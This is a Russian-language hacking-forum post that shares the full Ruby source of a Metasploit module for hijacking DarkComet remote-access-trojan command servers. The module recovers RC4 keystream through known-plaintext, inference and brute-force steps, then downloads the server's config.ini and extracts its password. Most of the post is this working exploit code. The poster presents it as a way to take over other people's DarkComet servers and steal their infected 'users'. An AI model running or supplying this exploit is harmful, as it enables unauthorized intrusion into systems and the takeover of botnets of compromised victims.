• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

ВАЖНО Эксплойт для угона DarkComet серверов


Hooko

Уважаемый пользователь
Форумчанин
Регистрация
24.08.2016
Сообщения
230
Репутация
345
Jabber
Как то все пропустили новость об эксплойте для DarkComet, он позволяет захватить чужой сервер DarkComet. Сам эксплойт очень интересный (можно у нубиков потырить пользователей).

Описание:
This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. The exploit does not need to know the password chosen for the bot/server communication.

Уязвимые версии: 5.3.1, 5.3.0, 5.2, 4.2 (F), 4.2, 4.0, 3.3, 3.2

Полное описание реверса на английском языке

Линк на эксплойт
Эксплойт для Metasploit'а, исходный код модуля:
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DarkComet Server Remote File Download Exploit',
      'Description'    => %q{
        This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.
        The exploit does not need to know the password chosen for the bot/server communication.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery
          'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],
          [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]
        ],
      'DisclosureDate' => 'Oct 08 2012',
      'Platform'       => 'win'
    ))

    register_options(
      [
        Opt::RPORT(1604),
        Opt::RHOST('0.0.0.0'),

        OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),
        OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),
        OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),
        OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),
        OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),
        OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])

      ], self.class)
  end

  # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext
  def xor_strings(s1, s2)
    s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
  end

  def get_keystream(ciphertext, known_plaintext)
    c = [ciphertext].pack('H*')
    if known_plaintext.length > c.length
      return xor_strings(c, known_plaintext[0, c.length])
    elsif c.length > known_plaintext.length
      return xor_strings(c[0, known_plaintext.length], known_plaintext)
    else
      return xor_strings(c, known_plaintext)
    end
  end

  def use_keystream(plaintext, keystream)
    if keystream.length > plaintext.length
      return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase
    else
      return xor_strings(plaintext, keystream).unpack('H*')[0].upcase
    end
  end

  # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)
  # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength
  def rc4_initialize(key)
    @q1 = 0
    @q2 = 0
    @key = []
    key.each_byte { |elem| @key << elem } while @key.size < 256
    @key.slice!(256..@key.size - 1) if @key.size >= 256
    @s = (0..255).to_a
    j = 0
    0.upto(255) do |i|
      j = (j + @s[i] + @key[i]) % 256
      @s[i], @s[j] = @s[j], @s[i]
    end
  end

  def rc4_keystream
    @q1 = (@q1 + 1) % 256
    @q2 = (@q2 + @s[@q1]) % 256
    @s[@q1], @s[@q2] = @s[@q2], @s[@q1]
    @s[(@s[@q1] + @s[@q2]) % 256]
  end

  def rc4_process(text)
    text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join
  end

  def dc_encryptpacket(plaintext, key)
    rc4_initialize(key)
    rc4_process(plaintext).unpack('H*')[0].upcase
  end

  # Try to execute the exploit
  def try_exploit(exploit_string, keystream, bruting)
    connect
    idtype_msg = sock.get_once(12)

    if idtype_msg.length != 12
      disconnect
      return nil
    end

    if datastore['KEY'] != ''
      exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])
    else
      # If we don't have a key we need enough keystream
      if keystream.nil?
        disconnect
        return nil
      end

      if keystream.length < exploit_string.length
        disconnect
        return nil
      end

      exploit_msg = use_keystream(exploit_string, keystream)
    end

    sock.put(exploit_msg)

    if bruting
      begin
        ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])
      rescue Timeout::Error
        disconnect
        return nil
      end
    else
      ack_msg = sock.get_once(3)
    end

    if ack_msg != "\x41\x00\x43"
      disconnect
      return nil
    # Different protocol structure for versions >= 5.1
    elsif datastore['NEWVERSION'] == true
      if bruting
        begin
          filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i
        rescue Timeout::Error
          disconnect
          return nil
        end
      else
        filelen = sock.get_once(10).to_i
      end
      if filelen == 0
        disconnect
        return nil
      end

      if datastore['KEY'] != ''
        a_msg = dc_encryptpacket('A', datastore['KEY'])
      else
        a_msg = use_keystream('A', keystream)
      end

      sock.put(a_msg)

      if bruting
        begin
          filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])
        rescue Timeout::Error
          disconnect
          return nil
        end
      else
        filedata = sock.get_once(filelen)
      end

      if filedata.length != filelen
        disconnect
        return nil
      end

      sock.put(a_msg)
      disconnect
      return filedata
    else
      filedata = ''

      if bruting
        begin
          msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
        rescue Timeout::Error
          disconnect
          return nil
        end
      else
        msg = sock.get_once(1024)
      end

      while (!msg.nil?) && (msg != '')
        filedata += msg
        if bruting
          begin
            msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])
          rescue Timeout::Error
            break
          end
        else
          msg = sock.get_once(1024)
        end
      end

      disconnect

      if filedata == ''
        return nil
      else
        return filedata
      end
    end
  end

  # Fetch a GetSIN response from C2 server
  def fetch_getsin
    connect
    idtype_msg = sock.get_once(12)

    if idtype_msg.length != 12
      disconnect
      return nil
    end

    keystream = get_keystream(idtype_msg, 'IDTYPE')
    server_msg = use_keystream('SERVER', keystream)
    sock.put(server_msg)

    getsin_msg = sock.get_once(1024)
    disconnect
    getsin_msg
  end

  # Carry out the crypto attack when we don't have a key
  def crypto_attack(exploit_string)
    getsin_msg = fetch_getsin
    if getsin_msg.nil?
      return nil
    end

    getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'
    keystream = get_keystream(getsin_msg, getsin_kp)

    if keystream.length < exploit_string.length
      missing_bytecount = exploit_string.length - keystream.length

      print_status("Missing #{missing_bytecount} bytes of keystream ...")

      inferrence_segment = ''
      brute_max = 4

      if missing_bytecount > brute_max
        print_status("Using inferrence attack ...")

        # Offsets to monitor for changes
        target_offset_range = []
        for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)
          target_offset_range << i
        end

        # Store inference results
        inference_results = {}

        # As long as we haven't fully recovered all offsets through inference
        # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]
        getsin_observation = [''] * 4
        buffer_head = 0

        for i in 0..2
          getsin_observation[i] = [fetch_getsin].pack('H*')
          Rex.sleep(0.5)
        end

        buffer_tail = 3

        # Actual inference attack happens here
        while !target_offset_range.empty?
          getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')
          Rex.sleep(0.5)

          # We check if we spot a change within a position between two consecutive items within our circular buffer
          # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0
          target_offset_range.each do |x|
            index = buffer_head

            while index != buffer_tail do
              next_index = (index + 1) % 4

              # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same
              # observations as well while being constant in at least one previous or subsequent observation
              if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))
                target_offset_range.delete(x)
                inference_results[x] = xor_strings(getsin_observation[index][x], '9')
                break
              end
              index = next_index
            end
          end

          # Update circular buffer head & tail
          buffer_tail = (buffer_tail + 1) % 4
          # Move head to right once tail wraps around, discarding oldest item in circular buffer
          if buffer_tail == buffer_head
            buffer_head = (buffer_head + 1) % 4
          end
        end

        # Inferrence attack done, reconstruct final keystream segment
        inf_seg = ["\x00"] * (keystream.length + missing_bytecount)
        inferrence_results.each do |x, val|
          inf_seg[x] = val
        end

        inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join
        missing_bytecount = brute_max
      end

      if missing_bytecount > brute_max
        print_status("Improper keystream recovery ...")
        return nil
      end

      print_status("Initiating brute force ...")

      # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)
      charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
      char_range = missing_bytecount.times.map { charset }
      char_range.first.product(*char_range[1..-1]) do |x|
        p = x.join
        candidate_plaintext = getsin_kp + p
        candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment
        filedata = try_exploit(exploit_string, candidate_keystream, true)

        if !filedata.nil?
          return filedata
        end
      end
      return nil
    end

    try_exploit(exploit_string, keystream, false)
  end

  def parse_password(filedata)
    filedata.each_line { |line|
      elem = line.strip.split('=')
      if elem.length >= 1
        if elem[0] == 'PASSWD'
          if elem.length == 2
            return elem[1]
          else
            return ''
          end
        end
      end
    }
    return nil
  end

  def run
    # Determine exploit string
    if datastore['NEWVERSION'] == true
      if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
        exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'
      else
        exploit_string = 'QUICKUP1|config.ini|'
      end
    elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')
      exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'
    else
      exploit_string = 'UPLOADconfig.ini|1|1|'
    end

    # Run exploit
    if datastore['KEY'] != ''
      filedata = try_exploit(exploit_string, nil, false)
    else
      filedata = crypto_attack(exploit_string)
    end

    # Harvest interesting credentials, store loot
    if !filedata.nil?
      # Automatically try to extract password from config.ini if we haven't set a key yet
      if datastore['KEY'] == ''
        password = parse_password(filedata)
        if password.nil?
          print_status("Could not find password in config.ini ...")
        elsif password == ''
          print_status("C2 server uses empty password!")
        else
          print_status("C2 server uses password [#{password}]")
        end
      end

      # Store to loot
      if datastore['STORE_LOOT'] == true
        print_status("Storing data to loot...")
        if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')
          store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")
        else
          store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
        end
      else
        print_status(filedata.to_s)
      end
    else
      print_status("Attack failed or empty config file encountered ...")
    end
  end
end
 
Автор темы Похожие темы Форум Ответы Дата
virt Трояны и шпионские программы 0
X-Shar Трояны и шпионские программы 2
virt Трояны и шпионские программы 0
MIXA066 Трояны и шпионские программы 8
Антоха Трояны и шпионские программы 0
MIXA066 Трояны и шпионские программы 25
ashoka Трояны и шпионские программы 11
X-Shar Трояны и шпионские программы 16
X-Shar Трояны и шпионские программы 10
X-Shar Трояны и шпионские программы 0
X-Shar Трояны и шпионские программы 1
Верх Низ